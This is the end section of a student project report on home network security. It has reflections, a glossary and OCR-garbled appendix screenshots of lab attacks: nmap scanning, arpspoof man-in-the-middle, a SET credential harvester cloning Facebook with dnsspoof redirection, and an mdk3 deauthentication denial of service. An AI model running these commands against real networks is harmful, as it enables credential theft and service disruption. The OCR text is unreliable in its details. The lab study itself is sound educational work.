Another field of future work could be looking at the security of IoT devices. These devices are becoming more and more popular in the home environment, which means they are becoming a target for attackers. The security of them could be tested and the current know exploits that exist could be researched into.

The final area of future work could be looking at the security of public networks such as café’s and bars. Similar attacks could be used to test the security of networks open to the public. This would be difficult to legitimately replicate as lots of ethics would come into play. 









[bookmark: _Toc480938192]Chapter 7 – Reflections
[bookmark: _Toc480938193]
7.1 Improvements to Future Study

[bookmark: _Toc480938194]Although the project and experiment were a success there were still some issues that happened.  The first major fall back was that one of the laptops part of the topology failed and it had to be replaced with a hard wired desktop computer. It didn’t affect the project a great deal but it did cause a bit of delay with the practical set up. It could have been avoided if the hardware had been tested beforehand and it wasn’t just assumed that it would all just work perfectly. If the project was to be redone then this could be something to improve it. Something else to improve the project would be to use different brands and models of home routers. Different brands of routers will have different levels of security out of the box and this would be interesting to test. The router used in this experiment came out of the box with no security whatsoever, and it would be interesting to see how many other routers are like this. As part of this report there are 8 related pieces of work. It was originally intended to do a figure closer to 15. In the future this section could be expanded to allow for a more depth of knowledge surrounding the areas of the study of other people.


7.2 Personal Benefit

This project has developed the author is a few ways. Prior to this experiment the author had very little knowledge and understanding of Linux based systems. This project allowed the author to pursue their interests within this project. This project allowed a development of the Linux operating system and the commands it uses. It has inspired the author to go and learn about Linux in more depth and develop their knowledge even further.

Another benefit is the ability to time manage more efficiently. The amount of work involved with a major project far outdoes the work involved with a typical assignment. This means that time management had to be far more utilized and it couldn’t rushed last minute.

With completion of the project came great satisfaction. Writing this paper has been a lengthy process and now that it’s finish it bring a sense of great achievement. It will be something to be proud of for years to come.

Hopefully this project has increased the author’s employability chances due to giving them a hands on experience with the field of research of network security.

[bookmark: _Toc480938195]7.3 Project Management

To manage this project a Gantt chat was created. This can be found in the appendices. The first Gantt chart is the one that was created to run through the entire project. Some things took longer than expected and some things took shorter than expected. The brute force dictionary attack took less time to complete than I originally thought. The man in the middle attack also took less time to complete than expected. The third attack, the denial of service attack also didn’t take as long to complete either. Also some tasks were left out of the first Gantt chart by accident so another chart had to be made which is the revised Gantt chart. This can also be found in the appendices.
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XSS – Cross-site scripting: A type of network attack.

SET – Social Engineering Toolkit: A toolkit included within Kali Linux.

NAS – Network Attached Storage: Storage attached to the network.

DNS – Domain Name System: The system to resolve domain names into IP addresses.

TCP – Transfer Control Protocol: One of the main routing protocols.

UDP – User Datagram Protocol: One of the main routing protocols.

ARP – Address Resolution Protocol: The protocol for remember IP locations on a network.

IRC – Internet Relay Chat: An application based program that con communicate in text. 

FTP – Files Transfer Protocol: The protocol for transferring files over a network.

BSS – Basic Service Set: The basic infrastructure mode of 802.11 wireless networks.

PSK – Pre-Shared Key: The passphrase for WPA2 network encryption.

SSL – Secure Sockets Layer: The encrypted link between the browser and the router.

SSH – Secure Shell: A secure remote connection to a computer.

IoT – Internet of Things: The future of the internet, all devices connected together.
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root@kali: ~

File Edit View Search Terminal Help
root@kali:~# nmap 192.168.0.*

Starting Nmap 7.25BETAL ( https://nmap.org ) at 2017-84-24 85:55 BST
Nmap scan report for 192.168.6.1
Host is up (0.0031s latency).

Not shown: 993 closed ports

PORT  STATE  SERVICE

20/tcp  filtered ftp-data

21/tcp  filtered ftp
80/tcp open  http
443/tcp open  https
2602/tcp open ripd
5000/tcp open  upnp
5100/tcp open adnd
MAC Address: 30:46:9A:

4:86:84 (Netgear)

Nmap scan report for 192.168.6.2
Host is up (0.017s latency).

Not shown: 991 filtered ports
PORT STATE SERVICE

135/tcp  open msrpc

139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
554/tcp  open rtsp
2869/tcp open icslap
3390/tcp open dsc
5357/tcp open wsdapi
10243/tcp open unknown
49158/tcp open unknown
MAC Address: 0:1B:B1:

5:42:D1 (Wistron Neweb)

Nmap scan report for 192.168.9.5
Host is up (0.053s latency).

ALL 1000 scanned ports on 192.168.6.5 are filtered
MAC Address: AC:29:3A:3C:21:6D (Apple)

Nmap scan report for 192.168.0.7
Host is up (0.018s latency).
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root@ekali:

File Edit View Search Terminal Help
root@kali:~# echo 1 > /proc/sys/net/ipvd/ip_forward |
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root@ekali:

File Edit View Search Terminal Help

~# arpspoof -1 wland -t 192.
:a:a3:a 0:1b:b1:45:42:d1 0806 42: arp

:6d:a:a3:a 0:1b:b1:45:42: : arp

f2:6d:a:a3:a 0:1b:b1:4
3

d:a:a3:a 0:1b:b1:45:42:d1 0806 42: arp

192.168.0.1
reply 192.168.0.1

reply 192.168.0.1
reply 192.168.0.1
reply 192.168.0.1

reply 192.168.0.1

is-at f4:f2:6d:
is-at f4:f2:6d:
is-at f4:f2:6d:
is-at f4:f2:6d:

is-at f4:f2:6d:

a

a

a

a
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root@ekali:

File Edit View Search Terminal Help

~# arpspoof -i wlan® 192.168.6.1 192.168.0.2
ta:a3:a 30:46:9a:34:86:84 0806 42: arp reply 192.168.0.2 is-at

ta:a3:a 30:46:9a:34:86:84 0806 42: arp reply 192.168.0.2 is-at

ta3:a 30:46:

:34:86:84 0806 42: arp reply 192.168.0.2 is-at

ta3:a 30:46:

a:34:86:84 0806 42: arp reply 192.168.0.2 is-at
ta3:a 30:46:9a:34:86:84 0806 42: arp reply 192.168.0.2 is-at
ta:a3:a 30:46:9a:34:86:84 0806 42: arp reply 192.168.0.2 is-at

ta3:a 30:46:9a:34:86:84 0806 42: arp reply 192.168.0.2 is-at

30:41

:86:84 0806 42: arp reply 192.168.0.2 is-at
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root@ekali:

File Edit View Search Terminal Help

~# service apache2 start
root@kali:z~#
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root@ekali:

File Edit View Search Terminal Help
root@kali:~# setoolkit
New set.config.py file generated on: 2017-04-24 06:18:41.942448
Verifying configuration update
[*] Update verified, config timestamp is: 2017-04-24 06:18:41.942448
[*] SET is using the new config, no need to restart
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root@ekali:

File Edit
self.

File

View Search Terminal Help

send_output (message_body)

sr/lib/python2.7/htEplib.py", line
self.send(msg)

File "/usr/lib/python2.7/httplib.py", line
self.connect ()

File "/usr/lib/python2.7/httplib.py",
HTTPConnection. connect (self)

File "/usr/lib/python2.7/httplib.py", line
self.timeout, self.source address

File

line

I0Error:
Select from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

set> []

897, in

_send_output

859, in send
1270, in connect

836, in connect

*/usr/lib/python2.7/socket.py", line 557, in create connection
for res in getaddrinfo(host, port, 8, SOCK STREAM):
[Errno socket error] [Errno -2] Name or service not known
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root@ekali:

File Edit View Search Terminal Help

File "/usr/lib/python2.7/httplib.py", line 1276, in connect
HTTPConnection. connect (self)

File "/usr/lib/python2.7/httplib.py”, line 836, in connect
self.timeout, self.source address

File "/usr/lib/python2.7/socket.py", line 557, in create_connection
for res in getaddrinfo(host, port, 8, SOCK STREAM):

I0Error: [Ermo socket error] [Errno -2] Name or service not known
Select from the menu:

) Spear-Phishing Attack Vectors
) Website Attack Vectors
3) Infectious Media Generator
) Create a Payload and Listener
) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) SMS Spoofing Attack Vector
11) Third Party Modules

99) Return back to the main menu.

set> [] ™
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root@ekali:

File Edit View Search Terminal Help
ate however when clicked a window pops up then is replaced with the malicious 11
nk. You can edit the link replacement settings in the set config if its too slowf
/Tast.

The Multi-Attack method will add a combination of attacks through the web attackf
menu. For example you can utilize the Java Applet, Metasploit Browser, Credentil
al Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell inje
ction through HTA files which can be used for Windows-based powershell exploitat
ion through the browser.

) Java Applet Attack Method
) Metasploit Browser Exploit Method
) Credential Harvester Attack Method
) Tabnabbing Attack Method

5) Web Jacking Attack Method
) Multi-Attack Web Method
) Full Screen Attack Method
) HTA Attack Method

99) Return to Main Menu
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root@kali: ~

File Edit View Search Terminal Help

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

ebattack>2

[-] Credential harvester will allow you to utilize the clone capabilities within SET

[-] to harvest credentials or parameters from a website as well as place them into a report
[-]

[-1

This option is used for what IP the server will POST to.

If you're using an external IP, use your external IP for this

chatiack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.4
] SET supports both HTTP and HTTPS

] Example: http://waw.thisisafakesite.com

Setiuebatiack> Enter the url to clone:https://facebook.com

[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

The best way to use this attack is if username and password form

fields are available. Regardless, this captures all POSTs on a website

[*] Apache is set to ON - everything will be placed in your web root directory of apache

[*] Files will be written out to the root directory of apache

[*] ALL files are within your Apache directory since you specified it to ON

Apache webserver is set to ON. Copying over PHP file to the website

Please note that all output from the harvester will be found under apache dir/harvester date.txt
Feel free to customize post.php in the /var/waw/html directory

[*] ALL files have been copied to /var/www/html

[*] SET is now listening for incoming credentials. You can control-c out of this and completely exit SET at anyt
ine and still keep the attack going.

[*] ALL files are located under the Apache web root directory: /var/waw/html

[*] ALL fields captures will be displayed below.

[Credential Harvester is now listening below...]

]
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root@kali: /var/www/html
File Edit View Search Terminal Help

/# cd var/waw/html
/var/waw/htnl# 1s

harvester 2017-04-24 86:45:39.874989. txt

root@kaliz/var/waw/html# [|

index.html post.php
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root@ekali:

File Edit View Search Terminal Help

nano 2.6.3 File: hosts.txt

102.168.0.4  facebook.com

& Get Help
O Exit

[ Read 1 line ]
Write Out QT Where Is g Cut Text @] Justify @@ Cur Pos
Read File g Replace gl Uncut Textgl] To Spell @l Go To Line pm
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root@ekali:

File Edit View Search Terminal Help

root@kali:~# dnsspoof -1 wland -f hosts. txt =
dnsspoof: Llistening on wlan® [udp dst port 53 and not src 192.168.0.4]
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hitp:/facebook.com A Loginto Facebook | Faceb. X

File Edit View Tools  Help

x_Norton - Lcense Expred = () Wentiy Safe -Expred -

To help personalise content, tailor and measure adverts and provide a safer experience, we use cookies. By clicking on or navigating the site, you agree to allow us to collect
information on and off Facebook through cookies. Learm more, including about avaiable controls: Cookies Policy.

facebook (sww:

Log in to Facebook

Forgotien account? - Sign up for Facebook

English (UK) Polski Espafiol Francais (France) Htaliano Lietuviy Romana shz(iff) Portugués (Brasi) Deutsch e | 4
https://www.facebook.com/ §

X
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Log in to Facebook

uwtsdproject@emailaddress.com

Forgotten account? - Sign up for Facebook.
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root@kali: /var/www/html

File Edit View Search Terminal Help

rootekali:/# cd var/wew/htnl
root@kali:/var/wew/htul# 1s

harvester 2017-84-24 07:00:25.427778.txt _index.html post.php
rootekalit/var/we/htnl# cat harvester 2017-04-24\ 7\:00\:25.427778.txt
Array

(

[lsd] => AVonMBkb
[display] =

[enable profile selector] =>
[isprivate] =

[legacy return] => 0
[profile selector ids] =>
[return_session]
[skip_api login]
[signed next] =
[trynun] => 1
[timezone] => -135

214536 _qoc_
> 1492056108

> uwtsdproject@emailaddress. con
uwtsdprojectpassword

)
root@kalis/var/www/html# [] B
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C:\Users\San>ping 192.168.8.1

Pinging 192.168.0.1 with 32 hytes of data:
Reply From 192.168.8.1

Reply £rom 1921168

Reply from 1921168
Reply from 1921168

Ping statistics for 192.168.8.1
Packets: Sent - 4, Received = 4, Lost = B (B loss).
Approxinate round trip times in milli-seconds:
Mininum = ins, Maxinum = 4ns. Average = 2ms

C:\Users\San>ping 192.168.8.3

Pinging 192.168.0.3 uwith 32 hytes of data:
Reply From 192.168.8.3

Reply from 1921168

Reply from 1921168
Reply from 1921168

Ping statistics for 192.168.8.3
Packets: Sent - 4, Received = 4, Lost = B (B loss).
Approxinate round trip times in milli-seconds:
Mininum = 4ns, Maxinum = 69ms, Average = Zims

\Users\San>ping 192.168.9.4

Pinging 192.168.0.4 with 32 hytes of data:
Reply fron 192.168.8.4

Reply from 1921168

Reply from 1921168
Reply from 1921168

Ping statistics for 192.168.0.4
Packets: Sent - 4, Received = 4, Lost = B (8% loss).
Approxinate round trip times in milli-seconds
Mininum = 68ns, Maximum = 139nc, Average

:\Users\San>ping 192.168.9.5

Pinging 192.168.0.5 with 32 hytes of data:
Reply From 192.168.8.5

Reply from 1921168

Reply from 1921168
Reply from 1921168

Ping statistics for 192.168.8.5

Packets: Sent - 4, Received = 4, Lost = B (8% loss).
poroxinate round trip times in milli-seconds

Mininum = 55ns, Maximum = 1d6ms. Average

115ns

97ns
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C:\Users\San>ping 192.168.8.6

Pinging 192.168.0.6 with 32 hytes of data:
Reply from 192.168.0.67 hyte

Reply from 1921168

Reply from 1921168
Reply from 1921168

Ping statistics for 192.168.8.6
Packets: Sent = 4, Received = 4, Lost = @ <O lose,
Approxinate round trip times in milli-seconds

Mininum = 42ns, Maximum = 119nc. Average = 76ms
C:\Users\Sam>ping 192.168.8.7

Pinging 192.168.0.7 with 32 hytes of data:

Reply from 192.168.0.7: hyte TIL-128
Reply from 1921168 TTL-128
Reply from 1921168 TTL-128
Reply from 1921168 TTL-128

Ping statistics for 192.168.8.7
Packets: Sent = 4, Received = 4, Lost = @ <O lose),
Approxinate round trip times in milli-seconds:
Mininum = ins, Maxinum = 2ns. Average = ims
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root@ekali:

Edit View Search Terminal Help

Authentication DoS mode

Sends authentication frames to all APs found in range.
Too much clients freeze or reset some APs.

Basic probing and ESSID Bruteforce mode
Probes AP and check for answer, useful for checking if SSID has
been correctly decloaked or if AP is in your adaptors sending range
SSID Bruteforcing is also possible with this test mode.
Deauthentication / Disassociation Amok Mode

Kicks everybody found from AP

Michael shutdown exploitation (TKIP)

Cancels all traffic continuously

802.1X tests

WIDS/WIPS Confusion

Confuse/Abuse Intrusion Detection and Prevention Systems
MAC filter bruteforce mode

This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing

its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly

WPA Downgrade test

deauthenticates Stations and APs sending WPA encrypted packets.
With this test you can check if the sysadmin will try setting his
network to WEP or disable encryption.

root@kali:~# =
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root@ekali:

File Edit View Search Terminal Help
root@kali:~# mdk3 wlan@ d -t 30:46:9A:34:86:84] -
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root@ekali:

File Edit View Search Terminal Help
root@kali:~# mdk3 wlan@mon d -t 30:46:9A:34:84:84pin -

and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:
and:

Disconnecting betweel
Disconnecting betweel
Disconnecting betweel
Disconnecting between:
Disconnecting between:
Disconnecting betweel
Disconnecting betweel
Disconnecting betweel
Disconnecting between:
Disconnecting between:
Disconnecting betweel
Disconnecting betweel
Disconnecting betweel
Disconnecting between:
Disconnecting between:
Disconnecting betweel
Disconnecting betweel
Disconnecting betweel
Disconnecting between:
Disconnecting between:
Disconnecting betweel
Disconnecting betweel
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:\Users\Sam>ping 192.168.8.1

inging 192.168.0.1 with 32 hytes of data:
equest tined out’
oply from 192.168.8.1: hyte: ns TTL=64
oply from 192.168.8.1: bytes ns TTL=64
equest tined out.

2 tine
2 tine

ing statistics for 192.168.8.1
Packets: Sent - 4, Receivéd = 2. Lost = 2 (58x loss).
poroxinate round trip times in milli-seconds:
Mininum = 3ns, Maxinum = 5ns. Average = 4ns
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C:\Users\Sam>ping 192.168.8.4

Pinging 192.168.0.4 with 32 hytes of data:
Reply From 192.168.8.2: Destination host unreachable.
Reply from 192.168.812: Destination host unreachable
Reply from 192.168.812: Destination host unreachable
Reply from 192.168.0.2: Destination host unreachahle.

Ping statistics for 192.168.0.4
Packets: Sent = 4, Received = 4, Lost = @ <O lose),

\Users\San>ping 192.168.9.4

inging 192.168.0.4 with 32 hytes of data:
eply From 192.168.8.2: Destination host unreachable.

2: Destination host unreachable
2: Destination host unreachable
23 Destination host unreachable.

ing statistics for 192.168.0.4
Packets: Sent = 4, Received = 4, Lost = @ <O lose),

:\Users\San>ping 192.168.9.5

inging 192.168.0.5 with 32 hytes of data:
eply From 192.168.8.2: Destination host unreachable.

2: Destination host unreachable
2: Destination host unreachable
23 Destination host unreachable.

ing statistics for 192.168.0.5
Packets: Sent = 4, Received = 4, Lost = @ <O lose),

:\Users\San>ping 192.168.9.6

inging 192.168.0.6 with 32 hytes of data:
eply From 192.168.8.2: Destination host unreachable.

2: Destination host unreachable
2: Destination host unreachable
23 Destination host unreachable.

ing statistics for 192.168.0.6
Packets: Sent = 4, Received = 4, Lost

8 (B2 loss>,

\Users\San>ping 192.168.9.7

ing statistics for 192.168.0.7
Packets: Sent = 4, Received = 8, Lost
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Ed First Project Meeting. 1day Thu13/10/16 Thu13/10/16

= 4 Begunliterature Review 133days  Wed12/10/16 Fri14/04/17 1
» Research into basic network security 6days ‘Wed 12/10/16 Wed 19/10/16

» Second Project Meeting 1day Thu20/10/16  Thu 20/10/16 3
» Research into common attacks. 14 days. Mon 24/10/16 Thu 10/11/16 4
» Third Project Meeting. 1day Fri11/11/16  Fri1l/11/16 5
» Research into common threats 25days Mon 14/11/16  Fri 16/12/16 6
= Related work and further research 95days  MonO05/12/16 Fri1a/0a/17

» 4 Prepare For First Viva Presentation 4days Mon 23/01/17 Thu 26/01/17 2
» Create presentation using background research 1day Mon 23/01/17 Mon 23/01/17

» Research methodolgy being used 1day Tue 24/01/17  Tue 24/01/17 10
» Create network blueprint designs 1day Wed 25/01/17 Wed25/01/17 11
» Carry Out Presentation 1day Thu26/01/17 Thu26/01/17 12
» 4 Carry out the attacks 34days Sat11/02/17  Wed 29/03/17

» Run brute force attack 14 days. Mon 13/02/17 Thu 02/03/17

» Run man in the middle attack 11 days. Thu02/03/17  Thu 16/03/17 15
» Run denial of service attacks 9days Fri17/03/17  Wed 29/03/17

= 4 AnalyseResults 2days  Mon27/03/17 Tue2s/0a/17 14
» Compare password strength to crackability 14 days. Mon 27/03/17 Thu 13/04/17

» Complete Conclusion of Project adays Thu 20/04/17  Tue 25/04/17 19
» 4 Finalise Project 10days Wed 26/04/17 Tue 09/05/17

» Hand in Final Project 1day ‘Wed 26/04/17 Wed 26/04/17

» Present Findings. 1day Thu04/05/17  Thu 04/05/17 2
» Create poster demonstrating project 2days Fri05/05/17  Mon08/05/17 23
» Display the poster 1day Tue 09/05/17  Tue 09/05/17 24
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Ed First Project Meeting. 1day Thu13/10/16 Thu13/10/16
» 4 Begun Literature Review 140days  Thu13/10/16 Wed26/04/17 1
» Research into basic network security 6days ‘Wed 12/10/16 Wed 19/10/16
» Second Project Meeting 1day Thu20/10/16  Thu 20/10/16 3
» Research into common attacks. 14 days. Mon 24/10/16 Thu 10/11/16 4
» Third Project Meeting. 1day Fri11/11/16  Fri1l/11/16 5
» Research into common threats 25days Mon 14/11/16  Fri 16/12/16 6
» Fourth Project Meeting. 1day Tue20/12/16 Tue 20/12/16 7
= Related work and further research %0days  Mon05/12/16 Fri07/04/17
» 4 Prepare For First Viva Presentation 4days Mon 23/01/17 Thu 26/01/17 2
» Create presentation using background research 1day Mon 23/01/17 Mon 23/01/17
» Research methodolgy being used 1day Tue 24/01/17  Tue 24/01/17 1
» Create network blueprint designs 1day Wed 25/01/17 Wed25/01/17 12
» Carry Out Presentation 1day Thu26/01/17 Thu26/01/17 13
» 4 Carry out the attacks 29days Sat11/02/17  Wed 22/03/17
» Run brute force attack 7days Mon 13/02/17 Tue 21/02/17
» Run man in the middle attack 8days ‘Wed 22/02/17  Fri 03/03/17 16
» Run denial of service attacks 5days Fri03/02/17  Thu09/02/17
= 4 AnalyseResults 2days  Mon27/03/17 Tue2s/oa/17 15
» Compare password strength to crackability 14 days. Mon 27/03/17 Thu 13/04/17
» Complete Conclusion of Project adays Thu 20/04/17  Tue 25/04/17 20
» 4 Finalise Project 10days Wed 26/04/17 Tue 09/05/17
» Hand in Final Project 1day ‘Wed 26/04/17 Wed 26/04/17
» Present Findings. 1day Thu04/05/17  Thu 04/05/17 23
» Create poster demonstrating project 2days Fri05/05/17  Mon08/05/17 24
» Display the poster 1day Tue 09/05/17  Tue 09/05/17 25
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